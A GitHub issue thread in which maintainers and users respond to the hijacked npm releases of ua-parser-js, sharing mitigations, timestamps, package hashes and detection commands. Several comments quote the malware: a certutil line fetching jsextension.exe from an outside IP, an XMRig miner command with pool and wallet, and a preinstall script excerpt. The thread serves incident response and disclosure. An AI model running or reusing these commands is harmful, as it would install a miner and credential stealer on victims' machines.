Security issue: compromised npm packages of ua-parser-js (0.7.29, 0.8.0, 1.0.0) - Questions about deprecated npm package ua-parser-js
SuperOleg39 opened this issue · comments
Hi!
See a warning at npm - https://www.npmjs.com/package/ua-parser-js - This package has been hijacked. Please revert to 0.7.28
First question - Can we use range ^0.7.28, or it is not safe?
Second question - Will you create a new package, or try to remove hijacked versions and continue update this package?
Ouch does that mean like there's malicious code in it or something?
I just update package and windows defender block "ceprolad.a" a trojan. I don't have any internet access at the same moment...
The trojan try to execute in the cmd: "certutil -rulcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe". The certutil -rulcacha -f download a .exe file.
Update - ^0.7.28 range is dangerous, 0.7.29 version already published.
We all need to fix 0.7.28 in our dependencies.
@faisalman i hope you can revert versions with vulnerabilities?
0.7.29 includes scripts that download and execute binaries. From the command-line arguments, one of them looks like a cryptominer, but that might be just for camouflage.
Revert back to 0.7.28 all greater version are infected. My computer was infected this morning when i updated my docusaurus version.
https://twitter.com/DrocksAlex/status/1451543176779534342
NPM official flag: https://www.npmjs.com/package/ua-parser-js
The best solution is to publish the 0.7.30 version without the vulnerability. Then ^ will jump to the vulnerable version
Hi all, very sorry about this.
I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don't realize something was up, luckily the effect is quite the contrary).
I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0
I have sent a message to NPM support since I can't seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish) so I can only deprecate them with a warning message.
@faisalman did you use the "Report malware" button? I don't know how quick NPM support usually is but I imagine they might pay attention to that.
I think we should publish new versions above that this hijected versions.
Like:
0.7.30
0.8.1
1.0.1
I think we should publish new versions above that this hijected versions.
Like:
0.7.30
0.8.1
1.0.1
Little problem with that decision - it will be hard to remove this versions in a future.
So, ua-parser-js will need up version to 2.0.0, when want to push real updates
Extra carefulness required because it seems to be affecting linux machines as well, make sure the miner doesn't get installed in your servers & ci stuff
For now it seems to only hang in installing because the url containing the infection doesn't seem to be working, but it may not last
Linux users can use this command to see if the miner is running or not and stop it : ps -aux | grep jsextension
I think we should publish new versions above that this hijected versions.
Like:
0.7.30
0.8.1
1.0.1Little problem with that decision - it will be hard to remove this versions in a future.
So, ua-parser-js will need up version to 2.0.0, when want to push real updates
That's right but it's a safest method I think. You can continue with version 2.0.0 and users don't specify a specific version will not be affected.
@faisalman did you use the "Report malware" button? I don't know how quick NPM support usually is but I imagine they might pay attention to that.
Yes I've sent the report using that form, hope they can just be removed. Otherwise, I have to publish under new versions.
This thing tries to steal saved passwords, cookies, and who knows what else. The sooner you can pull the plug the better, it doesn't matter if version numbers suffer a little.
This thing tries to steal saved passwords, cookies, and who knows what else. The sooner you can pull the plug the better, it doesn't matter if version numbers suffer a little.
Does it? I'd have to change all my passwords.
This thing tries to steal saved passwords, cookies, and who knows what else. The sooner you can pull the plug the better, it doesn't matter if version numbers suffer a little.
You're right.. Ok then
This thing tries to steal saved passwords, cookies, and who knows what else. The sooner you can pull the plug the better, it doesn't matter if version numbers suffer a little.
Does it? I'd have to change all my passwords.
I've dropped the DLL it runs to a virustotal (before unplugging the ethernet): https://www.virustotal.com/gui/file/2a3acdcd76575762b18c18c644a745125f55ce121f742d2aad962521bc7f25fd/behavior
It reads browser user data files and I've checked "files written" against my infected PC, it does look like a script to export OS credentials and a copy of cookies DB file from Chrome
We fixed it using this in our package.json :
"resolutions": { "**/ua-parser-js": "0.7.28" }
I think we should publish new versions above that this hijected versions.
Like: 0.7.30 0.8.1 1.0.1
Done. Thanks for the suggestion 👍
a solution that we're using to address this vulnerability is to set the resolutions in pacakge.json to use the last good version:
...},"resolutions": { "ua-parser-js": "0.7.28" },...
That resolution will come in handy when using a library that depends on the latest of ua-parser-js as opposed to using ua-parser-js directly in your package.json dependencies.
Please update the title of this issue to reflect more to the users with security issues
for information, this package is in use in at least 4 expo libs.
├─┬ @react-navigation/drawer@6.1.8
│ └─┬ react-native-reanimated@1.13.3
│ └─┬ fbjs@1.0.0
│ └── ua-parser-js@0.7.29 deduped
├─┬ expo-device@4.0.3
│ └── ua-parser-js@0.7.29
├─┬ expo-pixi@1.2.0
│ └─┬ fbemitter@2.1.1
│ └─┬ fbjs@0.8.17
│ └── ua-parser-js@0.7.29 deduped
└─┬ react-native-gesture-handler@1.10.3
└─┬ fbjs@3.0.0
└── ua-parser-js@0.7.29 deduped
@faisalman Do you have 2FA enabled on your NPM acccount?
for information, this package is in use in at least 4 expo libs.
├─┬ @react-navigation/drawer@6.1.8 │ └─┬ react-native-reanimated@1.13.3 │ └─┬ fbjs@1.0.0 │ └── ua-parser-js@0.7.29 deduped ├─┬ expo-device@4.0.3 │ └── ua-parser-js@0.7.29 ├─┬ expo-pixi@1.2.0 │ └─┬ fbemitter@2.1.1 │ └─┬ fbjs@0.8.17 │ └── ua-parser-js@0.7.29 deduped └─┬ react-native-gesture-handler@1.10.3 └─┬ fbjs@3.0.0 └── ua-parser-js@0.7.29 deduped
also in docusaurus
@faisalman Do you have 2FA enabled on your NPM acccount?
Yes..if you're a OSS dev you need 2FA, preferably NOT SMS based.
Your account recovery email should also be set up with 2FA, and your password manager of choice as well. Again not SMS based.
@faisalman Thank you for your quick response to the attack.
// Update
Here's a summary of what I was able to figure out on this incident based on the code and previous incidents of similar nature both in npm and RubyGems:
This code contains two malicious components:
a) a cryptocurrency mining tool (ref: https://bit.ly/3Ca9lw1)
b) trojan software (ref: https://bit.ly/3B6uXIk) but only for Windows stealing credentials from browers
Both are really serious but the biggest impact is (probably) on the Windows users. Let me look into the wallet and check the malicious files in more detail...
A bit of a good news is, that majority of Windows antivirus software was able to identify and stop the trojan component:
It is still worth pointing out, that some previous incidents around crypto (mainly in RubyGems) had the miners modifying the registries on Windows making them start again after a system restart.
// Edit
No option to check activities on this, since Monero does not allow as free blockchain exploration as others:
Sorry, its not possible to find txs associated with normal addresses in Monero
A bit of a good news is, that majority of Windows antivirus software was able to identify and stop the trojan component:
They do now, but in first hours only few antiviruses on virustotal detected it.
It is still worth pointing out, that some previous incidents around crypto (mainly in RubyGems) had the miners modifying the registries on Windows making them start again after a system restart.
In my case it registered itself into %appdata%/Microsoft/windows/start menu/programs/startup
@aimozg thank you for an update
They do now, but in first hours only few antiviruses on virustotal detected it.
As far as I know, the most popular once had the previous version signature (if they differ - that I will be able to check in the morning) available prior to the compromise. I used virus total now to just make sure that what I see is valid.
In my case it registered itself into %appdata%/Microsoft/windows/start menu/programs/startup
Yeah, that what I was referring. Same case with a few months timespan, so for anyone that is compromised: please check the registry changes and startup details.
Is there a time stamp for the initial change was made?
@skryking
here you go:
I know it's early, but can we have please a proper security incident disclosure here please?
Including, but not limited to:
- Exact versions compromised
- date/time of published malicious code
- date/time of mitigation(s)
- IoC's
- Detailed write up of how this happened, and how we can be sure that it was limited in scope to this.
- Any other details available to help everyone identify and remove malicious servers ASAP before more damage is done.
We fixed it using this in our package.json :
"resolutions": { "**/ua-parser-js": "0.7.28" }
Anyone know the solution for non-Yarn users? It is not clear to me if the "resolutions" field is Yarn-specific.
We fixed it using this in our package.json :
"resolutions": { "**/ua-parser-js": "0.7.28" }Anyone know the solution for non-Yarn users? It is not clear to me if the "resolutions" field is Yarn-specific.
@GradeyCullins I believe the typical NPM-equivalent to resolve this sort of problem is to use this package: https://github.com/rogeriochaves/npm-force-resolutions
@esryanoakley I can give you part of this info though please note I do it based on my knowledge and data pulled out of our systems (I am not related to the authors in any way):
Exact versions compromised
0.7.290.8.01.0.0
Date/time of published malicious code
0.7.29-Oct 22 21 14:15 CET0.8.0-Oct 22 21 14:16 CET1.0.0-Oct 22 21 14:16 CET
date/time of mitigation(s)
Oct 22 21 18:16 CET, Oct 22 21 18:23 CET and Oct 22 21 18:26 - those were the dates when the bumped versions were released shadowing previous once.
IoC's
There's a code reference above in my comment but again:
- https://my.diffend.io/npm/ua-parser-js/0.7.28/0.7.29
- https://my.diffend.io/npm/ua-parser-js/0.8.1/1.0.0
- https://my.diffend.io/npm/ua-parser-js/0.7.30/0.8.0
Detailed write up of how this happened, and how we can be sure that it was limited in scope to this.
Account takeover and lack of 2FA. I am not the author or anyone involved so that's my understanding based on his descriptions.
Any other details available to help everyone identify and remove malicious servers ASAP before more damage is done.
For the past month me and other people in the company I work identified and reported over 350 packages with code including:
- crypto mining
- ENV stealing
- crypto jacking (wallets id replacement)
- botnets
- trojans
In general it's a open-source supply challenge that many are working to tackle. There are couple of things you can do and I did speak on that matter once or twice during some e-conferences.
A bit of a good news is, that majority of Windows antivirus software was able to identify and stop the trojan component:
In my case, Windows Defender blocked both of files(create.dll and jsextension.exe) at 17:07 TR time (UTC 14:07) and I think Defender blocked these before downloading. When I checked my firewall, I saw that no request was made to the download addresses.
Hello -
I am trying to identify the SHA checksum for the compromised versions so I can check this against the package-lock entries and determine exposure in build pipelines and developer machines. Do you have this info? If so, can you please pass this along to me?
Thank you,
@justinwilaby via npm:
That's aad8d679f15a721ed79454d553e3473f9f0536f1, cae20bf1c615939987f1ee9b65affc622f269c69 and 43b60a8a57666e8a63e1704d18230ab79dd3528f plus "sha512-EdEWUP3Dk9oyycRzMBbVHYW3GLbq5KPWHLKpXSNwD5F6u0s1x12mmP4KIzqSSzpngv8/8pE3f49/qGBG8VgqCg==, sha512-/S61pVR3mE1kANQHPd16yW529/O60WE3PZZ91igqTugOl7FRWYFKmtIPjPi4uXZEJlhlOFs0bqIbWZCM0hJlzA== and sha512-cksIU369ju8/AUCZR0uVkpXZpxj6IjGCglH/M3eCUz5F2Y8jyxfySU8O+RVKW6Tos3c/zKPky+iupeZetw6gWQ==
@rarkins - Thank you for the info. Can you update the post to include the text for the integrity values? This will help in my search.
Thanks again
GitHub published a security advisory for ua-parser-js: GHSA-pjwm-rvh2-c87w
Looks like NPM unpublished the compromised versions https://www.npmjs.com/package/ua-parser-js
Thanks for acting quickly and addressing this @faisalman faisalman
@raolakkakula
It's listed as deprecated but the malicious versions are still published on NPM: https://www.npmjs.com/package/ua-parser-js/v/0.8.0
The hijacked versions have been removed from npm, pages for them return 404s:
Great work dealing with this quickly, and npm for removing it within 5-6 hours. A few extra steps in pushing users to check their version and upgrade might make the world safer.
Suggestions:
- Pin this GitHub issue for a while (right-hand side of this page) so people coming to look for other ua-parser-js issues are exposed to this high-priority issue
- Put an alert at the top of https://github.com/faisalman/ua-parser-js
My coworker pointed this thread out to me in Slack, but if I had just Googled 'ua-parser-js' and visited the GitHub repo I wouldn't have noticed this important issue and known to check my version.
Also I'm not sure how this part of it works, but won't Dependabot will suggest people upgrade if there's a CVE? I don't see one in all the systems yet, i.e. https://snyk.io/vuln/npm:ua-parser-js
Thank you again 🙏 it was cool to see open source at work and for this to get fixed quickly.
What is an easy way to determine if a machine has been compromised by the malware included in these versions? I have many node projects on my machine, and since this package is so popular I wouldn't be surprised if one of my dependencies (or its dependencies, or its dependencies' dependencies...) depends on it.
I did a find for every ua-parser-js directory on my system and looked at each of the versions in their respective package.json, and luckily couldn't find any matching compromised versions. But it's still possible that my machine was infected in the past.
So, based on the IoC linked above, it seems macOS machines are not actually affected (though it's good to assume otherwise), on Linux it drops a jsextension binary, and on Windows drops a jsextension.exe binary. I suppose the best way to check for compromise is by looking for these binaries anywhere on disk. Correct me if I'm wrong.
selectel.ru is still happy to serve the dll at 95.213.165.20 .
Reading through one analysis of the malware, it spawns scripts from preinstall.
Everyone should run with pre/post install scripts off. It's not easy, but possible.
Here's how https://dev.to/naugtur/get-safe-and-remain-productive-with-can-i-ignore-scripts-2ddc
And a full talk about that: https://m.youtube.com/watch?v=Y5gtOqPjUJM
Does anybody still know when the malicious versions were released exactly?
This would help to check whether anyone ran an npm install that fetched the malicious version during that time.
Thanks for the help.
@faisalman did you enforce 2FA for your npm account and for releases there too?
If not, please do so. I also think this library, which is used by many, should be in an org account on GitHub, not a personal one.
The current truck factor is probably quite low and there should be more than one maintainer. If you need help with the migration to an org, I can help.
Does anybody still know when the malicious versions were released exactly?
This would help to check whether anyone ran annpm installthat fetched the malicious version during that time.
Thanks for the help.
It was quite well summarized by @mensfeld above: #536 (comment)
TL;DR: The first compromised version was released at Oct 22 21 14:15 CET , with the first fixed version being released at Oct 22 21 18:16 CET
does someone have malware linux binary? I want to disassemble it to understand what can it do
does someone have malware linux binary? I want to disassemble it to understand what can it do
I don't have a copy, but the CLI arguments that are passed seem to match those given to the XMRig monero coin miner.
./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u 49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQdBqLMxxYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
This script does not work for Ukraine, Russia, Belarus, Kazakhstan. Usually it means it is someone from our countries
@gugu maybe you can analyze it with hybrid-analysis.com which has also Ubuntu / Linux VMs
I don't have a copy, but the CLI arguments that are passed seem to match those given to the XMRig monero coin miner.
We can not be sure as it can bundle another script
@gugu maybe you can analyze it with hybrid-analysis.com which has also Ubuntu / Linux VMs
We need to get the file, currently it is unavailable. If we can get at least checksum of it we can be sure it is only monero miner
@faisalman Please publish a post-mortem (once the dust has settled) that outlines what happened and what you could have done differently to prevent this, so we can learn from this experience.
@gugu hm, seems the URLs are generally down for everyone. I've checked all other malware databases and did not find a sample for this URL (for the Linux version).
https://my.diffend.io/npm/ua-parser-js/0.7.28/0.7.29#d2h-656491
I'll ask if someone from Sonatype has any IOCs including hashes or samples.
@gugu I had the binary installed yesterday. I could see if I can find it in my pnpm store.
Linux noob here. Yesterday I installed the npn and I think I am affected by the malware.
Is there any way to check if I am affected and is there a way to get rid of the virus_
Is there any way to check if I am affected and is there a way to get rid of the virus
pgrep jsextension
it will show if the program is running now
Nope no linux binary left on my development vm....,
I noticed that the PID of jsextension keeps changing. Anybody know how to figure out what parent process launched it? I'm unable to kill it.
Hey folks - thanks for all the collective work in trying to get this sorted!
@faisalman one piece of feedback, before everything else: can you edit the first post (the top message) with some more clear information about this problem? It would help everyone who lands here to get a better understanding of the situation.
Now, can I ask you all for help? I'm really not great at CLI across OSs and node package managers - could you help me out in finding the right commands per each system and per each package manager to find/verify if someone had installed the affected version and/or which version of ua-parser-js they might have installed on their machine?
I would imagine that each package manager has a global cache of sort where it keeps a local copy or at least a reference of every package ever installed? (or maybe I'm naive? 😅)
here's a handy markdown table to fill:
| OS | npm command | yarn command | pnpm command | other package manager |
| ------- | :---------: | -----------: | -----------: | --------------------: |
| Windows | <add me> | <add me> | <add me> | <add me> |
| Linux | <add me> | <add me> | <add me> | <add me> |
| macOS | <add me> | <add me> | <add me> | <add me> |
Aside from this, I seem to understand that there's also a command you can run to see if the malware is currently running, am I right @tjhorner (sorry for mentioning you, your comment is very good and detailed so I'm betting you have knowledge in this >) )? Could anyone post those too?
small edit:
For yarn:
yarn cache list --pattern ua-parser-js
@AleksandrHovhannisyan if you are checking with ps -aux | grep jsextension the process that shows up is the grep itself. You can check with pgrep jsextension to see if any PID returns.
@AleksandrHovhannisyan you can use pstree On Linux or tasklist in Windows.
Do you happen to have the Linux binary? If so can you please share an MD5 or SHA256 of it?
I noticed that the PID of
jsextensionkeeps changing. Anybody know how to figure out what parent process launched it? I'm unable to kill it.
does kill -9 help? After you stop it don't remove please, we need checksum of it to make sure it is only miner and does not steal data
@ahmetbicer Ah, okay, pgrep jsextension doesn't show anything. ps -aux | grep jsextension shows this, and I was panicking thinking it's the miner:
aleks 6781 0.0 0.0 14812 1192 tty2 S 12:55 0:00 grep --color=auto jsextension
Apparently I don't know what I'm doing, lol 😅 Apologies for the confusion!
@kelset MacOS is not affected. The preinstall.js script skips this platform (i.e. does not download a binary on it) and the preinstall.sh script also skips all Linux machines that are located in: Russia, Ukraine, Belarus, Kazakhstan.
You can notice these lines in the preinstall.sh script:
IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU|UA|BY|KZ')
if [ -z "$IP" ]
...
drops the binary here and starts it
...
fi
Sonatype and Bleepingcomputer analysed the samples:
Turns out the hijacked
ua-parser-jsNPM package not only mines cryptocurrency on Windows, Linux machines but the dropped DLL also steals passwords for FTP clients, VNC, messaging apps, email clients, browsers, and many apps. "From copies of the malicious NPMs shared with BleepingComputer by Sonatype, we can better understand the attack."
So the dll file is actually a password stealer. The jsextension file is probably just the original miner.
The article contains a list of targeted applications and shows code, which accesses the credential manager of Windows.
@faisalman Have you been able to get npm to take steps wrt your npm account security? Any idea how they got in in the first place?
How did this happen? A post mortem is sorely needed. We need to avoid this from occuring again. Believe that the active use of npm audit and/or synk and/or palo alto prisma cloud / the update framework (tuf) /sonatype would have deterred this from happening in the first place?
When were these compromised versions added? I can't find the history since they have been removed.
How did this happen? A post mortem is sorely needed. We need to avoid this from occuring again. Believe that the active use of npm audit and/or synk and/or palo alto prisma cloud / the update framework (tuf) would have deterred this from happening in the first place?
Using random security-related programs does not always help with security. I think author have already enabled 2FA, it prevents things like this from happening in future
I want to say thanks to the author for maintaining this module and solving the problem in a short period of time. Everyone's computer can he hacked. Especially if a person thinks otherwise
try npm show ua-parser-js time
How did this happen? A post mortem is sorely needed. We need to avoid this from occuring again. Believe that the active use of npm audit and/or synk and/or palo alto prisma cloud / the update framework (tuf) would have deterred this from happening in the first place?
npm audit does absolutely nothing to prevent security issues, it only displays security advisories already published. The only way to defend against this would be an antivirus on either your or npm's side.
When were the affected versions published?
Now that they've been pulled, neither npm or github have any infromation about them at all.
@tanelikaivola absolutely npm does, see #536 (comment)
How can I check on windows whether or not my system had been compromised? I noticed my laptop started getting quite hot a couple of days ago.
How can I check on windows whether or not my system had been compromised? I noticed my laptop started getting quite hot a couple of days ago.
The affected version was published on the 22nd of Ocotber (Friday) and removed a few hours later on the same day.
How can I check on windows whether or not my system had been compromised? I noticed my laptop started getting quite hot a couple of days ago.
The affected version was published on the 22nd of Ocotber (Friday) and removed a few hours later on the same day.
Right. I stupidly had my Windows Defender off and I started having performance issues right about that time. Windows Defender scan doesnt show anything anymore, but I don't really know how to proceed besides the usual password change and stuff. Any advice on how to restore my potentionally compromised PC back to normal?
I think author have already enabled 2FA, it prevents things like this from happening in future
There are two settings at npmjs. One 2FA setting for the account itself and one 2FA setting for publishing packages (which is not enforced by default afaik) - per package.
See this:
So normally you can publish a package with a stolen token afaik.
Is this only dangerous when installed globally?
I have hundreds of projects with local packages installed, not sure how I'd scan through them all easily...
(i understand this only happened a few days ago so only recently updated ones should be a concern...but still...)
Is this only dangerous when installed globally?
No, it makes no difference if locally or globally installed - it is the same computer. Unless you have used npm i --ignore-scripts.
Is this only dangerous when installed globally?
Generally there was just a small window on Friday (22nd of October) when the malicious versions were released and only Linux and Windows seem to be targeted. If you installed before this date, then you are problably safe. Same for MacOS. See also the previous comments and the diff links.
@DanielRuf #536 (comment) says Macs aren't affected.
Thanks @ljharb!
Here's the information so it's more easily available.
So the packages were available maximum of about 4 hours? (possibly even less?)
'0.7.29': '2021-10-22T12:15:21.378Z',
'0.7.30': '2021-10-22T16:16:08.807Z',
'0.8.0': '2021-10-22T12:16:06.877Z',
'0.8.1': '2021-10-22T16:23:53.062Z',
'1.0.0': '2021-10-22T12:16:19.726Z',
'1.0.1': '2021-10-22T16:26:19.004Z',
@DanielRuf #536 (comment) says Macs aren't affected.
That's what I wrote, MacOS is not affected ;-) I wanted to write "Windows" but wrote "MacOS" by accident.
Am I affected if I had installed a package that used this library from pnpm? (in WSL2)
Is there a way to know all packages dependent on these specific versions? There are 1200 odd dependents marked in npm but that's for all versions, I think.
How did this happen? A post mortem is sorely needed. We need to avoid this from occuring again. Believe that the active use of npm audit and/or synk and/or palo alto prisma cloud / the update framework (tuf) would have deterred this from happening in the first place?
Using random security-related programs does not always help with security. I think author have already enabled 2FA, it prevents things like this from happening in future
I want to say thanks to the author for maintaining this module and solving the problem in a short period of time. Everyone's computer can he hacked. Especially if a person thinks otherwise
Agreed. This can happen to anyone, including myself
How did this happen? A post mortem is sorely needed. We need to avoid this from occuring again. Believe that the active use of npm audit and/or synk and/or palo alto prisma cloud / the update framework (tuf) would have deterred this from happening in the first place?
Using random security-related programs does not always help with security. I think author have already enabled 2FA, it prevents things like this from happening in future
I want to say thanks to the author for maintaining this module and solving the problem in a short period of time. Everyone's computer can he hacked. Especially if a person thinks otherwise
Sure 2FA is an absolute requirement and EDR for every developers. Are there any futher guardrails that npm or github can institute so similar incidents can be prevented?
Is there a way to know all packages dependent on these specific versions? There are 1200 odd dependents marked in npm but that's for all versions, I think.
@RandomYser, Is there even a way to list every one of those ~1200 dependents? You can get about 395 of those, but after that npmjs doesn't let you. More specificly, npmjs, ?offset=360 is the maximum, here npmjs, last available page
Is there a way to know all packages dependent on these specific versions? There are 1200 odd dependents marked in npm but that's for all versions, I think.
@RandomYser, Is there even a way to list every one of those ~1200 dependents? You can get about 395 of those, but after that npmjs doesn't let you. More specificly, npmjs, ?offset=360 is the maximum, here npmjs, last available page
Searching interwebs littlebit, this might help https://www.npmjs.com/package/package-dependents
Sure 2FA is an absolute requirement and EDR for every developers. Are there any futher guardrails that npm or github can institute so similar incidents can be prevented?
@nathanawmk yes, npm i --ignore-scripts which should be the default imho, cc @ljharb
Same for 2FA requirement for releases. See my last comments and the screenshot.
This and other cases are good reasons why I use GitHub Codespaces now and removed all dev related setups from my laptops.
@sharedrory you can search through the installed packages.
Also the problematic versions were only available for about 4 hours: #536 (comment)
Overview
The attacker tampered with the installation script so that the package would automatically execute what appears to be a crypto miner during installation.
MacOS
MacOS users seem to be not affected as the script just skips this OS.
Linux
On linux it runs the following script
Indicator of compromise(IOC) for linux users:
- If you are from the following countries : Russia, Ukraine, Belarus, Kazakhstan, the malware does not install on your computer.
- Use
pgrep jsextensionto see if the malware is running - Even if it is not running use
sudo find / -name jsextensionto see if the malware was ever downloaded on your computer. - If you find any trace of the file
jsextensionplease share the SHA checksum of the file with the community, you can usesha1sum jsextensionto get the checksum
Shitty one-liner to detect it system-wide as a string:
find / -name "package-lock.json" -exec grep --color -EHni "ua-parser-js" {} \; 2>/dev/nullTo detect if the vulnerable version is in your system:
find / -name "package-lock.json" -exec grep --color -EHni "ua-parser-js-(0.7.29|0.8.0|1.0.0)" {} \; 2>/dev/null
It seems that version 0.7.29 vanished and there is a 0.7.30. Is it safe to update from "ua-parser-js": "^0.7.28" now?